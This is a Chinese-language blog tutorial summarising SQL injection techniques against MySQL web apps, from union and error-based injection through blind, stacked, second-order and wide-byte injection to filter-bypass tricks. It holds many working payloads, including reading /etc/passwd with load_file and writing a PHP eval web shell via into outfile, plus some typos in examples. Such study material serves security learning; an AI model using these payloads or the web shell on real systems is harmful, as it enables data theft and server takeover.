首页 > 数据库 >SQL注入基础总结

SQL注入基础总结

时间:2023-11-02 10:58:40浏览次数:27  
标签:总结 users database SQL where id select 注入

SQL注入基础总结

目录

概述

SQL注入指用户输入的参数可控, 攻击者输入的恶意代码传到后端同SQL语句一起被构造并在数据库中执行

注入姿势

普通查询注入

数字型

例如后端SQL语句长这样

select * from article where artid = 1 and xxxxx;

GET的传参是artid,那么可以在参数后面输入单引号,此时数据库无法执行会报错

?artid=1'

select * from article where artid = 1' and xxxx;

通过and 1=1 , and 1=2 判断

?artid=1 and 1=1
?artid=2 and 1=2

select * from article where artid = 1 and 1=1 and xxxx;

若and 1=1页面回显正常,and 1=2 回显不正常 ,则说明存在注入点可以继续测试

order by 判断字段数

?artid=1 order by 4
没报错则说明存在4个字段

爆库

?artid=-1 union select 1, database(), 3, 4

爆表

?artid=-1 union select 1,group_concat(table_name), 3, 4 from information_schema.tables where table_schema=xxx

字符型

与数字型类似,只是要注意单引号/双引号的闭合

可以在最后加上注释符把后面的语句直接注释掉

报错注入

很多Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。

原理:当⼀个聚合函数,⽐如count()函数后⾯如果使⽤分组语句就会把查询的⼀部分以错误的形式显⽰出来。

报错常用的函数

1.floor() 
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue() 
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon() 
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon() 
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring() 
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring() 
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp() 
select * from test where id=1 and exp(~(select * from(select user())a));
盲注

场景:在服务器没有内容回显的时候完成的注入攻击。

Boolean盲注

盲注用到的函数

length() 	返回字符串的长度

substr() 	截取字符串 (语法:SUBSTR(str,pos,len);) 
逗号被过滤时,可以使用from...for...

ascii() 	返回字符的ascii码   [将字符变为数字wei]

sleep() 	将程序挂起一段时间n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

注入步骤

1.试探数据库名字的长度

?id=1 and length(database()) > 7

2.猜解数据库名

?id=1 and substr(database(), 1, 1) = 's'

可以使用burp或者python脚本进行遍历猜解

时间盲注

注入方法

1.判断注入点,页面的返回没有变化,可能是盲注;

"and -1=-1--  页面返回有数据

"and -1=-2--  页面返回有数据

然后用sleep()判断是否是时间盲注。

"and sleep(5)-- w

若页面延时了,则证明存在时间盲注

2.猜解当前数据库名称长度

"and if((length(database()))=12,sleep(5),1)-- w 

页面延时了证明当前数据库名称长度为 12。

3.用ASCII码猜解当前数据库名称

"and if(ascii(substr(database(),1,1))=107,sleep(5),1)-- w 页面延时了
更新注入

更新类的操作的返回结果都是布尔型,无法返回数据;因此,更新类注入操作的核心就是构造报错注入的Payload

insert into user(username,password,role) values('admin' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or '', 'passwd', 'editor')

update user set password = 'kali123' where id = 5 or extractvalue(1, concat(0x7e, version(), 0x7e));
堆叠注入

场景:可以同时执行多条sql语句

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,php中的mysql_multi_query(),pymysql中的cursor.execute()支持多条sql语句同时执行

select * from users;show databases; 

虽然这个注入姿势很牛逼,但实际遇到很少,通常有权限的限制且只有当调用数据库函数支持执行多条sql语句时才能够使用,如mysqli_multi_query()函数就支持多条sql语句同时执行,所以可以说堆叠注入的使用条件十分有限

堆叠注入的利用

SET @_sql = select database();
PREPARE stmt from @_sql;
EXECUTE stmp;
二次注入

场景:知道数据库中的列名

原理:用户向数据库里存入恶意的数据,在数据被插入到数据库之前,肯定会对数据库进行转义处理,但用户输入的数据的内容肯定是一点摸样也不会变的存进数据库里,而一般都默认为数据库里的信息都是安全的,查询的时候不会进行处理,所以当用户的恶意数据被web程序调用的时候就有可能出发SQL注入。

例如原语句:

$ sql = "UPDATE users SET PASSWORD='$ pass' where username='$ username' and password='$ curr_pass' ";

我们的用户名被admin'#传入进去,在数据库里#号为注释符 然后这句话就变成了

$ sql = "UPDATE users SET PASSWORD=’$ pass’ where username=’admin ‘ #’ and password=’$ curr_pass’ ";

然后就是=8

$ sql = "UPDATE users SET PASSWORD=’$ pass’ where username=’admin‘

宽字节注入

场景:使用了GBK编码

magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符'',来做一定的过滤

为了绕过magic_quotes_gpc的,于是乎我们开始导入宽字节的概念

我们发现\的编码是%5c,然后我们会想到传参一个字符想办法凑成一个gbk字符,例如:‘運’字是%df%5c

SELECT * FROM users WHERE id='1\'' LIMIT 0,1

这条语句因为\使我们无法去注入,那么我们是不是可以用%df吃到%5c,因为如果用GBK编码的话这个就是運,然后成功的让%df和%5c组成了一个新的汉字

SELECT * FROM users WHERE id='1%df%5c'and 1=1--+' LIMIT 0,1
SELECT * FROM `article` where articleid = '1%df%5c'and 1=1 --+' LIMIT 0,1
payload:%df'and 1=1 --+'
二次编码注入

场景:使用了urldecode()解码

urldecode()与PHP本身处理编码时,两者配合失误,可构造数据绕过

%的url编码为:%25
'的url编码为:%27
%25%27,URL解码后是%27 也就是'
DNSLOG 外带注入

https://images.73rok.cc/img/v2-974167660f513ee90d319949958eba51_720w.jpg

MySQL的读写

文件读写与木马植入

利用前提

1.数据库配置

show global variables like '%secure%'

# secure_file_priv =    任意读写
# secure_file_priv = path 只能在该路径下读写
# secure_file_priv = null 不能读写

2.magic_quots_gpc没有开启

3.知道网站绝对路径

读取文件
# load_file('path')
?id=-2 union select 1, 2, 3, load_file('/etc/passwd'), 5
写入文件
# select ... into outfile ...
select "<?php @eval($_GET['a']); ?>" into outfile "/opt/lammp/htdocs/security/shell.php"

常见绕过

结尾注释符过滤
'#' 、'--+' 、'-- -' 、'%23' 、'%00'
"and、or" 过滤
# 可以使用"&&"和"||"代替

# 异或盲注绕过
select (substr((database()),1,1)='s') ^ 0;	// 异或运算相同为0,不同为1;根据返回值0,1判断
字符串过滤
# 大小写
SEleCt * FRom users;

# 双写
SELESELECTCT * FRFROMOM users;

#预处理
# 字符串拼接
SET @a=concat("sel", "ect * from users");PREPARE stmt FROM @a;EXECUTE stmt;
# 十六进制编码
SET @a=0x734201231231491424j19412041240115151;PREPARE stmt FROM @a;EXECUTE stmt;
空格过滤
# 注释符/**/代替空格:
select/**/database();

# 使用加号+代替空格:(只适用于GET方法中)
select+database();
# 注意: 加号+在URL中使⽤记得编码为%2B: select%2Bdatabase(); 

# 使⽤括号嵌套:
select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());

# 使⽤其他不可⻅字符代替空格:
%09, %0a, %0b, %0c, %0d, %a0

#利用``分隔进行绕过
select host,user from user where user='a'union(select`table_name`,`table_type`from`information_schema`.`tables`);
比较符号 "=、<、>"过滤
# in()绕过
ascii(substr(select database(),1,1)) in(115);	//根据回显判断

# like注入
# like子句中,'%'表示匹配0个或多个字符,'_'允许匹配任何单个字符,匹配成功返回1,失败返回0
(select database()) like 's%';

# regexp注入
# 正则表达式注入,根据回显判断
select database() regexp '^s'; //回显正常
select database() regexp 'se'; 
引号过滤

宽字节注入

需要开启magic_quotes_gpc且数据库使用了gbk编码

SELECT * FROM users WHERE id='1\'';			// 添加了\转义引号
SELECT * FROM users WHERE id='1%df'';		// '\'的url编码是%5c,传入%df',就会变成%5C%df,会被转换成中文‘運’,造成引号逃逸 

'\'反斜线逃逸

例如sql语句

SELECT username,password FROM users WHERE username = 'username' and password = 'password'

当username传入admin\时,password传入 or 1# 时sql语句变成

SELECT username,password FROM users WHERE username = 'admin\' and password = 'or 1 #'

此时admin后面的单引号被转义,'admin\' and password =' 变成了一部分,后面的 or 1逃逸,由此可控

逗号过滤

逗号被过滤时,substr(),limit都无法使用

可以使用from...for...过滤

select substr(select database() from 1 for 1);
select substr(select database() from 2 for 1);

limit中的逗号可以替换成offset

select * from users limit 1 offset 2;

需要注意,limit 1,2 指的是从第一行往后取2行(包括第一行和第二行);而limit 1 offset 2是从第一行开始只取第二行

information_schema绕过与无列名注入

过滤了or即information_schema无法使用时,可以通过以下库替代

  • sys.schema_auto_increment_columns(只显示有自增的表)

  • sys.schema_table_statistics_with_buffer

image-20231014200127275

通过这种方法可以查询表名但是没办法查列名,于是可以使用无列名注入

# 将1、2、3作为列名查询数据
select 1,2,3 union select * from users;
# 查询对应的某列
select `3` from (select 1,2,3 union select * from users)a;
# 最后的a可以是任意字符,作为别名

# ``被过滤时可以借助别名
select b from (select 1,2,3 as b union select * from USERS)a;
False注入
select * from users where username = 0;		# 查询表中所有数据

其实是利用了mysql的隐式类型转换,当字符串与数字比较时,会将字符串转换为浮点数,转换失败并返回0,0 = 0返回True,就会返回表中所有数据

绕过引号构造0的方法

select * from users where username = ''+'';
select * from users where username = ''-'';
select * from users where username = ''*'';
select * from users where username = ''%1#';
select * from users where username = ''/6#';
等价函数

if()=> case...when..then...else...end

0' or if((ascii(substr((select database()),1,1))>97),1,0)#
=
0' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#

image-20231014203456448

sleep() => benchmark()

benchmark()函数用来测试执行速度,第一个参数代表执行的次数,第二个参数代表要执行的表达式或函数

 SELECT IF(substr((select database()),1,1)='s',sleep(3),1);
 =
 SELECT IF(substr((select database()),1,1)='s',benchmark(9999999,md5('a')),1);

image-20231014205230976

concat_ws() => group_concat()

select group_concat(database());
=
select concat_ws(1,database());

image-20231014205518493

substr() => substring() / lpad() / rpad() / left() / mid()

lpad/rpad绕过

# lpad(str1, length, str2)
select lpad(database(),1,1)	#s
select lpad(database(),2,1)	#e
select lpad(database(),3,1)	#c
select lpad(database(),4,1)	#u

# rpad(str1, length, str2)
select lpad(database(),1,1)	#s
select lpad(database(),2,1)	#e
select lpad(database(),3,1)	#c

left()绕过

select left((select database()),1)    // s
select left((select database()),2)    // se
select left((select database()),3)    // sec

mid()绕过

select mid((select database()),1,1)    // s
select mid((select database()),2,1)    // e
select mid((select database()),3,1)    // c
select mid((select database()),4,1)    // u

标签:总结,users,database,SQL,where,id,select,注入
From: https://www.cnblogs.com/zerok/p/17778123.html

相关文章

  • sql server 行转列、列转行
    stuff()函数用于从源字符串中删除给定长度的字符序列,并从指定的起始索引插入给定的字符序列。STUFF(source_string,start,length,change_string) source_string:字符数据start:指定删除和插入的开始位置length:指定要删除的字符数change_string:替换start到......
  • java语言基础数组,方法,类相关知识点的梳理总结
     Java是一种强大的面向对象编程语言,具有丰富的语法和功能。以下是Java语言的一些基础知识点的总结:数组(Arrays):数组是一种用于存储相同数据类型元素的数据结构。声明数组:int[]numbers=newint[5];,这创建了一个包含5个整数的数组。访问数组元素:intfirstNumber=......
  • 算法【Hash算法总结】
    一、简介    一致性哈希算法在1997年由麻省理工学院提出,是一种特殊的哈希算法,在移除或者添加一个服务器时,能够尽可能小地改变已存在的服务请求与处理请求服务器之间的映射关系。一致性哈希解决了简单哈希算法在分布式哈希表( DistributedHashTable,DHT)中存在的动态伸......
  • 解决Mysql删除数据后,ID自增不连续问题
    修复前除了部分数据,导致后续新增的数据,ID自增不连续 解决方案执行下方SQL语句即可修复此问题,mbs_order为需要修复的表名SET@i=0;UPDATE`mbs_order`SET`id`=(@i:=@i+1);ALTERTABLE`mbs_order`AUTO_INCREMENT=0; https://blog.csdn.net/WQGuang/articl......
  • Sql Server使用函数获取拼音码
    CREATEFUNCTIONFun_GetPY(@StrNVARCHAR(4000))RETURNSNVARCHAR(4000)ASBEGINDECLARE@WordNCHAR(1)DECLARE@PYNVARCHAR(4000)SET@PY=''WHILELEN(@Str)>0BEGINSET@Word=LEFT(@Str,1)--如果非汉字字符,返回原字符SET@PY=@PY+(CASEWHENUN......
  • 每日总结-23.11.1
    软件构造作业生成算式存入csvpackagekousuanti;importjava.util.Scanner;publicclassGongneng{publicstaticvoidmain(String[]args){Scannerscan=newScanner(System.in);Chutichuti=newChuti();System.out.println("请确......
  • 每日总结
    今天我完成了一道软件设计的实验题,运用c++实现一些功能; (1)对应的类图:(2)源代码;1.浅克隆运行代码:#include<iostream>usingnamespacestd;//向量类classVector{private:int*p;intlen;public:Vector(intlen);Vector(constVector&vector);......
  • 每日总结Java设计模式之原型模式
    今天完成了设计模式的原型模式实验用原型实例指定创建对象的种类,并且通过拷贝这些原型创建新的对象。原型模式其实就是从一个对象再创建另外一个可定制的对象,而且不需知道任何创建的细节简单说就是先创建一个原型类实例,然后通过克隆的方法来复制一个一样的新对象,这个对象和原来......
  • Mysql 几种数据类型
    数值类型类型 大小 范围(有符号) 范围(无符号) 用途TINYINT 1Bytes (-128,127) (0,255) ......
  • 每日总结11.02
    学号的单一仿照课堂的身份证的例子,实现每个同学仅有一个学号这一问题。  Client:package实验7;publicclassClient{    publicstaticvoidmain(Stringa[]){        StudentIDstu1,stu2;        Stringid1,id2;        System.out.pr......